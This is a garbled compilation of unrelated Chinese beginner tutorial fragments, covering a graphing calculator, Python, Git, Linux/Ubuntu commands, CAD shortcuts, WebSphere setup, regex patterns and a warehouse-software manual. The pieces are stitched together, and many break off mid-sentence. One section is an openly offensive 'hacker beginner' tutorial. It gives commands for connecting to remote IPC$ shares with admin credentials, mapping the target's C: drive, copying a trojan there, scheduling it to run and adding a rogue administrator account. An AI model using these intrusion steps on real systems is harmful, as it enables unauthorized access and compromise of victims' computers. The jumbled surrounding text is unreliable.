菜鸟常用命令
TI-nspire菜鸟使用指南

9
图3
图4
如果需要修改计算器的设置,可以按 ~7(设置与状态)2(设置)1
(常规)键进行设置,如图 5、6、7。
图5
图6
图7 这里,可以设置的项目有:显示数位;角度;指数显示形式;实数或复数;计
10
算模式;向量显示形式;进位制等。
一、代 数
第一章 实数
1.有理数运算
【例 1】将 720 分解成质因数的乘积。
3 示例-计算器中定义的变量可以在其他 TI-Nspire™应用程序中使用。 输入表达式:2l8r43p12 后,会给出以下结果:
28 × 43 3
2752 3
用十进制小数显示计算结果: 在上例中,用/· 替代·
ห้องสมุดไป่ตู้
28 × 43 3
917.333
重新使用先前表达式或运算结果-您可以从计算器历史记录中复制表达式,表达式的一部分或运算结果,并将
说明:符号“|”可按 /Í 键找到。
图 2.1
【例 2】将 f (x) x4 4 分别在有理数范围、实数范围和复数范围内分解因式。
~打开文档菜单
b 显示应用程序 或环境菜单
· 计算表达式, 执行命令或选择一 个菜单项
; 中英文输入法切 换
红框:功能区 黄框:数学符号和数字 篮框:字符输入
1
键盘快捷键
常用功能快捷键
编辑文本 剪切 复制 粘贴 撤销 恢复
插入字符或符号 显示字符库 下划线 显示数学模板库 清除 大写锁定 存储 等号 等号/不等号库 标记/字母符号库 平方根 答案
得精确到 0.000001 的计算结果 3.622958,如图 1.6。
键,
说明:可按 /Ö 键展示对数模块,也可以按 t 键找到对数模块。输入以
python菜鸟实例

python菜鸟实例1. Hello World:```pythonprint("Hello, World!")```2. 变量和运算:```python# 定义变量x = 5y = 3# 进行基本运算sum_result = x + ydiff_result = x - yproduct_result = x * yquotient_result = x / y# 打印结果print("Sum:", sum_result)print("Difference:", diff_result)print("Product:", product_result)print("Quotient:", quotient_result)```3. 条件语句:```python# 判断奇偶数number = 7if number % 2 == 0:print(number, "是偶数")else:print(number, "是奇数")```4. 循环:```python# 打印1 到5 的数字for i in range(1, 6):print(i)# 使用while 循环计算1 到5 的和sum_result = 0counter = 1while counter <= 5:sum_result += countercounter += 1print("Sum:", sum_result)```5. 列表和循环:```python# 定义列表fruits = ["apple", "banana", "orange"]# 使用循环打印每个水果for fruit in fruits:print(fruit)```6. 函数:```python# 定义一个简单的函数def greet(name):return "Hello, " + name + "!"# 调用函数result = greet("Alice")print(result)```这些是非常基础的Python 示例,适合刚开始学习Python 的初学者。
git 菜鸟教程

git 菜鸟教程
git 是一个分布式版本控制系统,常用于管理和追踪软件开发
过程中的代码变更。
它具有高效、灵活、可靠的特点,因此在开发团队中广泛应用。
在使用 git 进行版本控制时,我们可以通过以下命令完成常见
操作:
1. 初始化仓库:使用 `git init` 命令在当前目录初始化一个新的git 仓库。
2. 提交文件:使用 `git add` 命令将要提交的文件添加到暂存区,然后使用 `git commit` 命令提交更改到本地仓库。
3. 查看仓库状态:使用 `git status` 命令可以查看当前仓库的状态,了解哪些文件被修改或添加。
4. 查看提交历史:使用 `git log` 命令可以查看仓库的提交历史
记录,包括每次提交的作者、日期和提交信息。
5. 分支操作:使用 `git branch` 命令可以查看、创建和删除分支,使用 `git checkout` 命令可以切换到不同的分支。
6. 远程仓库:使用 `git remote` 命令可以管理远程仓库,如添加、删除和修改远程仓库的地址。
7. 拉取和推送:使用 `git pull` 命令可以从远程仓库拉取最新
的代码,使用 `git push` 命令可以将本地的代码推送到远程仓库。
8. 解决冲突:在多人协同开发时,可能会出现代码冲突的情况,可以使用 `git merge` 命令或 `git rebase` 命令解决冲突。
除了上述基本命令外,git 还有很多其他功能和命令,如标签
管理、分支合并、重置、撤销等。
通过学习和使用这些命令,我们可以更好地掌握 git 的使用,提高代码管理和协同开发的效率。
linux命令菜鸟教程

linux命令菜鸟教程
下面是一些常用的Linux命令:
1. ls:列出当前目录的文件和子目录。
2. cd:切换到指定的目录。
3. pwd:显示当前所在的目录。
4. mkdir:创建一个新的目录。
5. rm:删除文件或目录。
6. cp:复制文件或目录。
7. mv:移动或重命名文件或目录。
8. cat:显示文件的内容。
9. grep:在文件中搜索指定的字符串。
10. find:在指定目录中查找文件。
11. chmod:修改文件或目录的权限。
12. chown:修改文件或目录的所有者。
13. ssh:远程登录到另一台计算机。
14. scp:在本地和远程计算机之间复制文件。
15. tar:打包和解压缩文件。
16. top:显示系统中运行的进程。
17. ps:列出当前正在运行的进程。
18. kill:终止一个进程。
19. ifconfig:显示和配置网络接口。
20. ping:向指定的主机发送网络请求。
这些命令可以帮助您在Linux系统中进行各种常见的操作。
请注意,这只是一小部分常用命令的示例,了解更多命令和它们的用法,可以参考Linux的官方文档或其他在线资源。
菜鸟必备的47个CAD技巧

菜鸟必备的47 个 CAD技巧1.创建直线的快捷方式是 L+ 空格2.创建圆的快捷方式是 C+空格3.创建圆弧的快捷方式是 A+ 空格4.创建矩形的快捷方式是 REC+ 空格5.创建点的快捷方式是 PO+空格6.创建单行文本的命令是 DT7.创建多行文本的命令是 MT8.创建填充的命令是 H9.将已经画出的线段延伸到某一线段EX+ 空格10.将已经画出的矩形倒圆角F+空格11.修剪绘图过程中多余的线TR+ 空格12.修改文本 ED+ 空格13.移动命令是 M+ 空格 ;14.旋转命令的快捷方式是 RO+ 空格15.偏移命令的快捷方式是 O+空格16. 镜像命令的快捷方式是MI+ 空格17.复制命令的快捷方式是 CO+ 空格18.局部观察平面图细节时 ,通常使用 Z+ 空格19.可以在工作区看到实时缩放的放大镜Z+ 空格 +空格20.平移视图的快捷方式是 P+空格21.通过平移视图平移视图 P+空格22.返回上一视图Z+ 空格 +P+空格23.全局显示自己绘的平面图 Z+ 空格 +A+ 空格24.快捷方式 CTRL + P 代表打印文件25.快捷方式 CTRL + C 代表复制26.快捷方式 CTRL + V 代表粘贴27.快捷方式 CTRL + X 代表剪切28. 新建文件的快捷方式是CTRL + N29.在 CAD 里寻求帮助时 ,可直接点击 F130.正交的快捷方式是 F831.打开和关闭对象捕捉工具的快捷方式是F332.直线标注的快捷方式是 DLI+ 空格33.调整文字样式可以通过 ST+空格快捷方式实现34.重新生成的快捷方式是 R+ E+ 空格35.设置捕捉模式可以通过快捷方式实现OS+空格36.ENTER 键可以重复上一次的操作37.刷新的快捷键是 RE+ 空格38.AutoCAD 系统中,想取消正在执行的命令可用ESC39.设置捕捉模式的快捷键是 OS40.旋转命令的快捷方式是 RO41.计算面积的快捷键是 AA42.平移的快捷键是 P+空格43.最常用的标注快捷键是 DLI44.直线的快捷方式是 LINE45.创建圆的快捷键 C46.偏移命令的快捷方式是 O47.可以修改文本 ed让你相见恨晚的50 个 CAD 技巧1、文字镜像如何设置转动与不转动A 、在镜像前,输入MIRRTEXT指令B、输入新值0 代表不转动;输入新值 1 代表转动C、MIRRTEXT指令完成后,输入MI镜像指令就OK了2、CAD 的版本转换A 、 CAD 高版本可以打开所有低版本的图纸B、 CAD 低版本不可以打开高版本的图纸C、高版本转成低版本的方法,直接点击另存为,将文件类型可以改成任意的低版本D、将低版本转换成高版本,就比较复杂了,需要第三方软件,也就是版本转换器。
菜鸟安装was可能要频繁用到的Linux操作命令

-w 仅做测试,并不真的将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件
17 查看主机名:uname -a ,修改主机名vi /etc/sysconfig/network
1、查看Linux当前系统版本 lsd_release -a
2、运行不了时用chmod -R 777 was7命令
3、查看IP地址用 ifconf
4、Xmanager连接图形界面最好也安装个Xshell
5、man 命令查看的内容太多,先shift+: 再输入q
6、关闭或启动防火墙/etc/sysconfig/iptables,具体请查看防火墙文档
./startServer.sh
执行完了以后。访问
直接运行DM的startManager.sh
lhost:9060/admin如果能够成功访问。说明安装正确。
9、WAS常用路径目录
/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/bin
直接rm就可以了,不过要加两个参数-rf 即:rm -rf 目录名字
15、WAS的plugin默认装在HTTPServer,linux下,把/opt/IBM/HTTPServer/Plugins/bin/configurewebserver1.sh拷贝到DM的%DM-install%/bin里面
7、more命令查看文档 =显示当前行号 q 退出
8、在/opt/IBM/HTTPServer/bin/目录下执行命令
./adminctl start
./apachectl start
然后再/opt/IBM/WebSphere/Appserver/profiles/Appsrv01/bin/目录下执行命令
Ubuntu常用命令菜鸟入门

apt-get:debian系系统的软件包管理程序(其图形化前端就是大名鼎鼎的新立得了),会自动帮你搞定依赖关系最常用参数:update —-与你的软件源(在/etc/apt/sources.list中列出)更新软件包列表,换源后需要执行upgrade —-根据update得到的源软件库与本地已经安装的对比,(如果需要升级就)全部升级install —-安装软件包(可以使用tab补全软件包的名字,比较方便)remove —-卸载软件包purge —-卸载软件包,同时删除该软件的配置文件source —-从源里下载软件包的源码到当前目录(执行此命令的目录)并解压(除非指定–download-only参数)该地址由/etc/apt/sources.list中的deb-src 行指定check —-用来(自动)修复(已装)软件包之间的依赖关系clean —-清除/var/cache/apt/archives/包括其子目录partial/下的所有软件包缓存autoclean —-比clean常用,我的理解是删除低版本的缓存而保留高版本的(或者包括非当前源里的软件包?)aptitude:此为PT同学补充,他的说法是aptitude比apt-get少个横线,tab补全比较容易(=.=)~大概神牛都比较懒吧不得不提下蛋蛋童鞋以前说过的ubuntu彩蛋:) <仅限于UBUNTU 8.04>man apt —-最后会看到―本apt有着超级牛力‖ or ―this APT has a super-cow power‖man aptitude —-会看到―这个aptitude没有超级牛力‖看看aptitude的参数,你就会明白为什么aptitude会标称‖高级软件包管理程序‖了最常用参数:search —-在(你的源的)所有软件包列表中搜索该软件,search的表达式可以很复杂,具体看man其余常用参数同apt-getcat:把(一个或多个)文件内容(连接)显示到标准输出当文本文件很小,而且你只是想看下,并不打算用gedit或者vim之类编辑器编辑的时候,可以cat一下,我是用来配合grep使用cd:切换当前工作目录不同于其他命令,这是一个shell内置命令,所以没有手册页可看…够基础,所以才会出现在本篇文章中(=.=)郁闷最常用参数:. —-切换到当前目录(貌似没有什么意义)(.这个目录可以通过ls -a看到) .. —-切换到上层目录~ —-回到家目录(/home/你的登录名/)chmod:改变文件的权限位linux文件系统的权限位有两种表示方法,要是详细说下,非得累死老鼠不可=.=,所以只说8进制数表示:)简要介绍下:ls -l可以显示出文件的权限,比如(-rwxr-xr–),代表了三种用户的权限第一个rwx,代表文件所有者的权限,即(读,写,执行),用二进制表示为111,代表八进制中的4+2+1=7第二个r-x,代表文件所有者同一用户组其他用户的权限,即(读, ,执行),用二进制表示为101,代表八进制中的5=4+0+1第三个r–,代表其他用户的权限,即(读, , ),二进制表示为100,代表八进制的4=4+0+0所以这个文件的权限位为754这也就是chmod的用法,例如chmod 751 myfile #将该文件权限设定为rwxr-x–x 最常用参数:-v —-列出当前正在执行的步骤-R —-递归式,即改变非空目录下的一切为指定权限cp:拷贝文件和目录最常用参数:-b —-为每个已经存在的目的文件作个备份-d —-遇到软链接时不拷贝软链接所指向的文件;拷贝时保留links属性(链接数) -p —-保留文件的访问权限,所有者,和时间戳-R和-r —-递归式拷贝(cp过程遇到非空目录才有效),即拷贝目录,子目录,子目录的子目录…..-a —-作用同-dpR-s —-并不真的做拷贝,而只是为每个文件作软链接(符号链接)-u —-同下面mv 的-u参数head, tail就像这两个名字,一个显示文件头部,一个显示尾部最常用参数:-n —-指定输出的(头部或尾部)行数, 当没有此参数时,默认显示10行ifconfig:配置网卡最常用参数:没有参数—-列出当前活动网卡的状态-a —-列出所有网卡的状态interface —-指定网卡名称比如eth0up —-唤醒该网卡down —-关闭该网卡arp,mtu,netmask addr,…等等很多参数=.=ln:为文件建立链接linux的链接分为两种:硬链接和软链接,ln默认建立硬链接(hard link),两种的区别请自己搜索:)最常用参数:-s —-建立软链接(符号链接,可以理解为win下的快捷方式)-f —-如果要建立的链接名已经存在,则删除之ls:显示目录内容最常用参数:-a —-显示指定目录所有文件,包括文件名以 . 开头的文件-l —-显示文件详细信息(包括文件类型,权限,修改时间,访问时间,大小,文件名…)-h —-将文件大小以方便阅读的形式表示出来,配合-l 参数使用,常有奇效man:阅读参考手册of~题外话:HX说这是linux最最难学的命令,因为man你学好了,就没有什么命令能难倒你了,=.=无敌了man可以查的不仅仅是命令额(当然,因为man是无敌的嘛/ch)最常用参数:man 阿拉伯数字阿拉伯数字1: 可执行程序(一般为用户安装的程序,如果提供了manpages的话)和shell命令阿拉伯数字2: 系统调用(例如open调用,socket调用,chmod调用等等等等),先装manpages-dev先阿拉伯数字3: 库函数调用(例如man 3 printf),先装manpages-dev先…….当你执行man ls 时, 和man 1 ls结果是一样的,因为ls在man手册中只有一个入口当你想看chmod调用的手册页时,就要特别指定man 2 chmod了~~因为chmod不止有一个入口在man的时候,可以通过j,k上下移动(和vi中类似),可以通过/查询,通过n,N查找下个,上个匹配(和vi类似)q退出(也和vi类似….)比较有意思的一点:由于man 本身是个命令,所以,连man都是可以man的=.=mkdir:创建一个目录最常用参数:-p —-如果给出的路径中父目录不存在,则同时创建父目录mount:挂载文件系统(可理解为挂载一个分区)最常用参数:-t —-指定文件系统类型,比如iso9660(挂载iso镜像为光盘,相当于虚拟光驱),ntfs,ext3,rfs等等-l —-列出所有已经挂载的文件系统,支持卷标-a —-挂载fstab中记录的所有分区-n —-挂载的时候不写入/etc/mtab-o —-相当常用的一个参数,指定挂载文件系统的‖选项‖,比如noatime,用来挂载BT专用分区很合适mv:移动或者更名文件,取决于目的目录是否为当前目录最常用参数:-b —-为每个已经存在的目的文件做个备份(防止覆盖)-f —-不提示是否覆盖已经存在的目的文件-i —-与-f参数相反-u —-仅当源文件比目的文件更新或者目的文件不存在时候才移动-v —-显示移动文件的进度(个人总是推荐使用此参数,明白你在做什么)ps,top:列出当前命令的执行状态,ps为静态,top为动态(top时‘q‘退出)ps:这个命令本人更常用些,推荐给你看看=.=最常用参数(ps多用参数集合,而不是单个参数,并且配合grep使用)-ef —-以标准语法列出当前所有进程状态,例如ps -ef | grep eva #列出eva的进程状态aux —-以BSD语法列出………………………………..-ejH —-列出进程树-eLf —-同时列出线程状态rm, rmdir:rm:删除文件或目录,rmdir:删除一个空目录(此命令个人认为没啥用,可以用rm -r替代)rm最常用参数:-f —-不提示不存在的文件,直接跳过-i —-每个删除动作都提示(=.= 删除多的话岂不是烦死)-I —-删除多个文件(多于3个时)或者递归式删除(对于非空目录)提示一次-r和-R —-递归式删除该目录下的一切东东-v —-显示每个文件的删除动作(个人总是推荐使用此参数,明白你在做什么)sudo,su:这大概是装好系统之后第一个要用的命令吧?sudo我们主要用来临时提升权限,主要用以管理员(超级用户)的权限来运行命令,当需要修改当前登录用户力所不能及的文件/目录时需要用sudo,或者su -c,当然sudo和su的作用范围不仅仅如此可以使用visudo来编辑/etc/sudoers文件来修改sudo更详细的动作(比如记住密码的时间戳长度),请谨慎修改!sh:在终端解释执行类似于‘./‘的形式,但PT给了不同点: ‗./‘仅仅对当前目录下有执行权限的程序才有效,‘sh‘则不管这套想想也是哈, ‗./‘仅仅是给出了一个文件的路径(在当前目录下)而已, 但这个文件能不能执行就不好说了所以用sh总是正确的shutdown:关闭系统,如果停留在TTY,请改用halt, poweroff等命令常用参数:+m —-指定关机延迟的分钟-c —-取消一个等待关机的请求(关掉运行此命令的终端也可:))now —-立即关机hh:mm —-手动指定时间(以24小时计)tar:打包/解包这个tar不多说了吧..到处都是tar.gz,tar.bz2的东东和ps命令一样,tar一般不用单个参数,而是多个参数的组合,记住参数x是解压(extract),c是创建包(creat)即可最常用参数:-xvf —-详细列出解包的步骤-cvf —-详细列出打包的步骤-j —-用来说明这是个tar.bz2包,例如tar -xjvf myfile.tar.bz2-t —-列出包中的文件列表—–打包时常追加的参数:-r —-追加到压缩包中-u —-只把比包中更新的文件追加进去-h —-不把符号链接添加到包中,而是添加此符号链接指向的文件附加说明:tar是个太强大的东东,常用的操作也就是打包解包,高级功能还是参阅man tartouch:改变文件时间戳,默认包括修改时间和创建时间,默认修改为当前时间,默认如果文件不存在就新建.本文的目的很明确,只方便菜鸟,不收录高级命令。
菜鸟工具-常用正则表达式

菜鸟⼯具-常⽤正则表达式链接:⼀、校验数字的表达式数字:^[0-9]*$n位的数字:^\d{n}$⾄少n位的数字:^\d{n,}$m-n位的数字:^\d{m,n}$零和⾮零开头的数字:^(0|[1-9][0-9]*)$⾮零开头的最多带两位⼩数的数字:^([1-9][0-9]*)+(\.[0-9]{1,2})?$带1-2位⼩数的正数或负数:^(\-)?\d+(\.\d{1,2})$正数、负数、和⼩数:^(\-|\+)?\d+(\.\d+)?$有两位⼩数的正实数:^[0-9]+(\.[0-9]{2})?$有1~3位⼩数的正实数:^[0-9]+(\.[0-9]{1,3})?$⾮零的正整数:^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$⾮零的负整数:^\-[1-9][]0-9"*$ 或 ^-[1-9]\d*$⾮负整数:^\d+$ 或 ^[1-9]\d*|0$⾮正整数:^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$⾮负浮点数:^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$⾮正浮点数:^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$正浮点数:^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$负浮点数:^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$浮点数:^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$⼆、校验字符的表达式汉字:^[\u4e00-\u9fa5]{0,}$英⽂和数字:^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$长度为3-20的所有字符:^.{3,20}$由26个英⽂字母组成的字符串:^[A-Za-z]+$由26个⼤写英⽂字母组成的字符串:^[A-Z]+$由26个⼩写英⽂字母组成的字符串:^[a-z]+$由数字和26个英⽂字母组成的字符串:^[A-Za-z0-9]+$由数字、26个英⽂字母或者下划线组成的字符串:^\w+$ 或 ^\w{3,20}$中⽂、英⽂、数字包括下划线:^[\u4E00-\u9FA5A-Za-z0-9_]+$中⽂、英⽂、数字但不包括下划线等符号:^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$可以输⼊含有^%&',;=?$\"等字符:[^%&',;=?$\x22]+禁⽌输⼊含有~的字符:[^~\x22]+三、特殊需求表达式Email地址:^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$域名:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?InternetURL:[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$⼿机号码:^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$电话号码("XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX):^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$国内电话号码(0511-*******、021-********):\d{3}-\d{8}|\d{4}-\d{7}电话号码正则表达式(⽀持⼿机号码,3-4位区号,7-8位直播号码,1-4位分机号): ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)⾝份证号(15位、18位数字),最后⼀位是校验位,可能为数字或字符X:(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):^[a-zA-Z]\w{5,17}$强密码(必须包含⼤⼩写字母和数字的组合,不能使⽤特殊字符,长度在 8-10 之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{8,10}$强密码(必须包含⼤⼩写字母和数字的组合,可以使⽤特殊字符,长度在8-10之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$⽇期格式:^\d{4}-\d{1,2}-\d{1,2}⼀年的12个⽉(01~09和1~12):^(0?[1-9]|1[0-2])$⼀个⽉的31天(01~09和1~31):^((0?[1-9])|((1|2)[0-9])|30|31)$钱的输⼊格式:有四种钱的表⽰形式我们可以接受:"10000.00" 和 "10,000.00", 和没有 "分" 的 "10000" 和 "10,000":^[1-9][0-9]*$这表⽰任意⼀个不以0开头的数字,但是,这也意味着⼀个字符"0"不通过,所以我们采⽤下⾯的形式:^(0|[1-9][0-9]*)$⼀个0或者⼀个不以0开头的数字.我们还可以允许开头有⼀个负号:^(0|-?[1-9][0-9]*)$这表⽰⼀个0或者⼀个可能为负的开头不为0的数字.让⽤户以0开头好了.把负号的也去掉,因为钱总不能是负的吧。
Xhacker菜鸟教程

第八军团教学站(安全知识入门教学)作者:DANGEROUS_消失的小D(简介:如何进行进行攻击?又如何查找攻击目标?攻击的同时如何保护自身的安全?本节课时教你全面掌握各类攻击基础知识~~~~~~)(申明:本文是写给刚刚出道的菜鸟朋友的,至于国内现在的SQL注射如此红火,但是对现在没有详细掌握这些基础知识的菜鸟朋友来说,即使拿到了WEBSHELL又如何,不懂得系统基础,拿到了WEBSHELL也未必能拿到SYSTEM权限,因此,本文的目的在于交流菜鸟技术,高手就不要看了!^-^,不足之处还请大家指正!)第一节:必学之网络命令:简介:一些必须要掌握的最基本的电脑命令第二节:必备的网络工具简介:一些必备的安全工具的使用详解(1):扫描器的使用(2):WINDOWS系统与SQL弱口令利用(3):后门的安装与使用(4):木马的使用第三节:入侵实例教学(图文教学)简介:利用漏洞进行实例攻击教程第一节菜鸟必学的网络命令要学习网络入侵,首先我们必须学习一些基础的网络命令,我们所谓的基础命令其实也就是WIN 2K,WIN XP系统下的一些DOS命令,这个命令都又CMD.exe 来完成概念部分:(1)2000、XP下的CMD与98的MS-DOS的不同之处:cmd.exe叫命令提示符他与98下的MS-DOS是不一样的,所以我们不能将他混为一谈,但是我们却可以用CMD.exe来执行很多DOS命令,例如:dir、cd、del 等等!(2)CMD下的内部命令与外部命令的不同:CMD下的内部命令就是指:我们可以直接在CMD下就可以执行的命令,例如:telnet、ftp、dir、cd、等等,你可以在CMD下输入help进行查看,外部命令呢,就是cmd下不能直接运行的命令,(例如大家常用的nc)他需要在CMD下切换到他(NC)做在的目录你才能运行NC及NC的命令小知识:(如果某一些小DOS工具大家需要经常使用,那么大家可以把他直接COPY到SYSTEM32目录下面,那么你就可以像使用内部命令一样直接使用了)如下图,我们就可以直接执行fport命令(说明:fport是一个查看端口的小工具)实操部分:(一):常用入侵防护命令:Net 、telnet 、at、copy、ftp、finger、del~~~~~~一些常用的Net命令与例子:(1)建立IPC连接的命令Net use \\IP\ipc$“” /user:username例如:Net use \\127.0.0.1\ipc$ 123456 /user :administrator这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机127.0.0.1建立ipc$空连接(2) 删除IPC$空连接Net use \\ip /del例如:Net use \\127.0.0.1 /del删除与主机127.0.0.1已经建立的Ipc$连接(3) 启动关闭服务:Net start //查看已经开启的服务Net start servernameNet stop servername例如:Net start telnet //开启telnet服务Net stop telnet //关闭telnet服务(4)启动关闭共享Net shate ipc$ //开启ipc$默认共享Net share ipc$ /del //关闭ipc$默认共享Net share c=c:\ //完全共享c盘Net share d=d:\ //删除完全共享的d盘(4) 映射硬盘Net use z: \\ip\c$例如:Net use z: \\127.0.0.1\c$//把127.0.0.1的C盘映射成本机的z盘说明:映射成功后,你在我的电脑里面里面就会多出一个硬盘Z,其实Z就是127.0.0.1的C盘!Net use z: /del //断开映射入侵中的作用:把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了成功实现的条件:必须与对方建立ipc$连接(5) 远程复制文件_CopyCopy e:\3389.exe \\127.0.0.1\c$\\将本地的E盘下的3389.exe这个文件copy到对方系统的C盘根目录下Copy在入侵中的作用:把本地文件复制到对方硬盘Copy复制成功所需的条件:必须与主机建立ipc$连接(6) 查看远程系统的时间Net time \\IPNet time \\127.0.0.1//查看远程主机127.0.0.1的本地时间作用:得到对方时间好为自己计划任务种下木马做准备(7) 远程运行程序At \\ip time server.exeAt \\127.0.0.1 12:30 c:\server.exe \\让主机在中午12:30分运行我们已经复制到他C盘根目录下的木马server.exe在入侵中作用:这样我们就可以用我们的木马服务端来连接我们木马,,更好的使用图形方式来控制肉鸡.(推荐使用神气儿^_^)(8)添加管理员帐号:Net user juntuan 1234 /add \\添加一个密码为1234名字为军团的用户Net localgroup administrators juntuan /add \\把juntuan这个用户添加到管理员组注意:有些系统的管理员组不是administrators你要根据实际情况来改,不过99.9%的系统的管理员组还是administrators的。
菜鸟学习linux笔记与练习-----第一天。一些初级命令以及基本用户管理

su nokai
su - nokia (which ifconfig ; echo $PATH)
exit
两个特殊文件属性
chattr +i /etc/shadow <---不能修改文件,尽管是管理员也不能
chattr +a /etc/shadow <---只允许通过echo命令在文件后面追加内容
用户掩码
umask
普通帐号的umask 0002
建立文件 : 664 = 0666-0002
建立目录: 775 = 0777 - 0002
管理员的umask 0022
建立文件 : 644 = 666 - 022
建立目录: 755 = 777 - 022
对于目录:就是可以在目录下创建文件,删除文件
判断是否可以删除一个文件,依据是否对文件所在目录具有写的权限
x执行权限
对于文件:具有执行这个文件的权限,一般是指命令,脚本等可执行文件
用户名:明文加密密码:最后一次修改密码的日期距离1970年1月1日点天数:密码修改的间隔:密码过期时间:密码过期前7天警告:密码过期后你能使用多少天:帐号过期时间:保留字段
useradd tom
1,在/etc/passwd中添加tom用户
2,在/etc/shadow中添加一行信息
显示指定的主机可供挂载的目录
将U盘作为引导盘
dd if=diskboot.img of=/dev/sdb
CTRL + SHIFT + T
增加终端标签
常用的shell
cat /etc/shells
/bin/sh
/bin/bash
菜鸟WMS(大宝)操作手册 (修复的)

菜鸟WMS(大宝)操作手册V1.0目录菜鸟WMS(大宝)操作手册 (1)目录 (2)1 收货 (7)1.1 到货通知 (7)1.2 到货登记 (9)1.3 PC收货 (11)1.4 PC批量收货 (13)1.5 收货作业 (16)1.6 收货入库 (17)1.7 新品维护 (18)2 订单 (20)2.1 订单预处理 (20)2.2 波次模板 (22)2.3 预处理定时调度 (24)2.4 波次定时调度 (26)2.5 波次汇总 (29)2.6 波次确认 (32)2.7 单据打印 (34)2.8 单据补打 (39)2.9 开始拣选 (40)2.10 结束拣选 (42)2.12 包裹质检 (45)2.13 质检差异 (48)2.14 包裹批量质检 (50)2.15 单品质检 (52)2.16 单品容器质检 (54)2.17 批次创建 (56)2.18 快速出库 (61)2.19 订单/包裹查询 (64)2.20 拣选单查询 (66)2.21 批次查询 (68)2.22 拦截包裹查询 (69)2.23 快递单号余额 (70)2.24 拣选单容器关系查询 (72)2.25 发票查询 (73)2.26 拣选单进度查询 (75)2.27 库区拣选进度查询 (76)3 库内 (78)3.1 移位管理 (78)3.2 移库管理 (80)3.3 上架管理 (83)3.4 下架管理 (84)3.6 盘点单列表 (88)3.7 调整单管理 (93)3.8 拦截包裹释放 (94)3.9 补货信息 (96)3.10 补货计划 (97)3.11 加工管理 (99)3.12 货主库存转移 (102)3.13 归位管理 (106)4 销退 (112)4.1 销退指令 (112)4.2 销退实物信息 (113)4.3 销退质检 (114)5 出库 (116)5.1 出库通知 (116)5.2 质检组包[逐件] (118)5.3 质检组包[批量] (119)5.4 质检差异查询 (120)5.5 包裹查询 (121)5.6 出库单查询 (122)6 台账 (124)6.1 货主仓库商品 (124)6.3 货主货位批次 (125)6.4 货主批次商品 (126)6.5 出入库流水 (127)6.6 SN商品库存 (128)6.7 SN库存日志 (131)7 基础资料 (133)7.1 仓库信息 (133)7.2 库区信息 (128)7.3 巷道信息 (134)7.4 库位信息 (137)7.5 月台信息 (140)7.6 容器信息 (143)7.7 容器类型信息 (145)7.8 商业伙伴信息 (148)7.9 货主信息 (149)7.10 库工信息 (151)7.11 包材信息 (153)7.12 质检台信息 (155)7.13 仓库联系人 (158)7.14 店铺信息 (159)7.15 用户库区绑定 (162)7.17 商品批次信息 (167)7.18 商品基本信息 (169)7.19 用户管理 (170)7.20 角色管理 (173)7.21 参数明细配置 (176)7.22 个人信息修改 (178)7.23 批属性规则 (179)7.24 策略中心 (182)8 WCS (185)8.1 传送带地址配置 (185)8.2 任务列表 (189)8.3 传送带日志 (190)1收货说明:该模块主要完成库房收货的功能,提供以下功能:到货通知、预约排产、到货登记、收货作业、收货入库、入库上架、新品维护功能。
电脑使用技巧菜鸟教程

电脑使用技巧菜鸟教程1.如果同时有多个窗口打开,想要关闭的话,可以按住shift不放然后点击窗口右上角的关闭图标.2.在保存网页前,可以按一下"ESC"键(或脱机工作)再保存,这样保存很快3.用电脑听CD可以不用任何的播放软件,把音箱线直接接到光驱的耳机孔,放入CD,按光驱上的play键就可以直接听了,这样听歌可以不占用系统资源。
(如果你的电脑坏了,不能启动或什么的,一时放在那不能修,千万不要浪费资源,把用里面的电源给光驱通上电,就可以暂时做CD机了.4.MSN中发消息的时候是按enter的,如果想要换行而不想发出消息,可以 shift+enter或ctrl+enter5.浏览器的地址栏里可以调试简短的HTML代码。
